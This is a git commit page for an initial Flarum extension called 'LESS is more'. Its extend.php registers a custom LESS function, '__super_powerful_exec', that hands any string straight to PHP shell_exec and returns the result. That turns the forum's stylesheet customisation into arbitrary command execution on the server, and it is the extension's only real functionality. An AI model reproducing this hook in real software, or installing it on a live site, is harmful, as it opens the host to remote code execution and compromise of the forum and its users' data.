init
This commit is contained in:
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
||||
vendor/
|
||||
23
composer.json
Normal file
23
composer.json
Normal file
@@ -0,0 +1,23 @@
|
||||
{
|
||||
"name": "idawnlight/flarum-less",
|
||||
"description": "LESS is more!",
|
||||
"type": "flarum-extension",
|
||||
"require": {
|
||||
"flarum/core": "^1.0.0"
|
||||
},
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"Light\\Less\\": "src/"
|
||||
}
|
||||
},
|
||||
"extra": {
|
||||
"flarum-extension": {
|
||||
"title": "LESS is more",
|
||||
"icon": {
|
||||
"name": "fas fa-smile",
|
||||
"backgroundColor": "#238c59",
|
||||
"color": "#fff"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
7625
composer.lock
generated
Normal file
7625
composer.lock
generated
Normal file
File diff suppressed because it is too large
Load Diff
19
extend.php
Normal file
19
extend.php
Normal file
@@ -0,0 +1,19 @@
|
||||
<?php
|
||||
|
||||
use Flarum\Extend;
|
||||
|
||||
return [
|
||||
(new Extend\Theme())
|
||||
->addCustomLessFunction("__super_powerful_exec", function (mixed $text) {
|
||||
if (is_string($text)) {
|
||||
$result = shell_exec($text);
|
||||
if (is_string($result)) {
|
||||
return $result;
|
||||
} else {
|
||||
return "";
|
||||
}
|
||||
} else {
|
||||
return "";
|
||||
}
|
||||
})
|
||||
];
|
||||
Reference in New Issue
Block a user